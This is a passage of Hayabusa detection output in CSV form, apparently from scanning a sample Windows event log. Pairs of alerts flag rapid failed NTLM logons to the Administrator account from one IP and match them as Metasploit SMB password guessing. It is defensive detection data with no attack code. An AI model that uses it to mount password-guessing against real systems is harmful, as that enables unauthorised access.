Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8HRyDAzwKj9bfnA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.106 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J65LcwnRgEob9wjY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.144 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yhas9e1fwDZ1Fxvt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5qJRSpjS6tZJjNQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bo4HAgP2tw0GmZ4o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.268 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zv0cbLCD7E05i0g5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FIKsQLk5iPyKoeqM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.349 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.394 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RiHAaBszJBGe2deQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.394 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8em4eOiqze683Cj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.442 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86lXQsnn7dae93tW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.481 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Iu8olNGPmhxh6iNu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qZYtN5EMHxcNqID6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mtUQGxrMoPkpUQCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.610 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QYh4e3bpePhDoRwr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UkC8E9uKpCgD1BHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ZCDxpmDZbpGCey3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.814 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SS2dxS3WvCrAyiB2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YT3VHxKNf8q14rro : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.897 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fx9HQT3u3Ig6vJ3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FukPQsr4SXRshyTn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.989 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7AutKUyPELNRUcA4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 38gBkWcYdZW6Wcdz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HMKnLRQCDn1CHZdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.121 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ShGnRYHfVSuPvfcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.165 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LXVWG3Yl0utv98Zf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.221 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VDfa0UebgleQMK5U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.268 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxTLJJsWs9dOc5JC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.321 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x7cKtymmsQJSM6zZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbtC0srNyvkIHOSV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wPGlJ6ZjGSfUKrCf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.452 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Uw95Ema8vWlRXKy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.491 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hHTrBmhkjGLTNt2R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJeRVGKULJIo76aa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.574 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Kipf0Z2Tse2eWoxa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.622 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bnP7tmMJXDVzIDim : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.672 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CBeMt62oqlIICShT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.777 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIfXRZQkKRJAw4er : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8wrqSJPALo5QtUnS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81Mm67AdwpPJMCMm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jwq5jXlMRU1SNLO5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.035 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d7OYj8ynCEl5dG9m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.076 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YzT8vF7ANYnjSRgd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.127 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m4eYIoww4uL6oYZu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.199 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DpO8L2Fky4zYwp2q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.199 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGmxSy48sphENTiY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.244 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tQVAkjteLFK0hbyE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.285 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UMWKsQ8l0j9fZPfA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.330 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 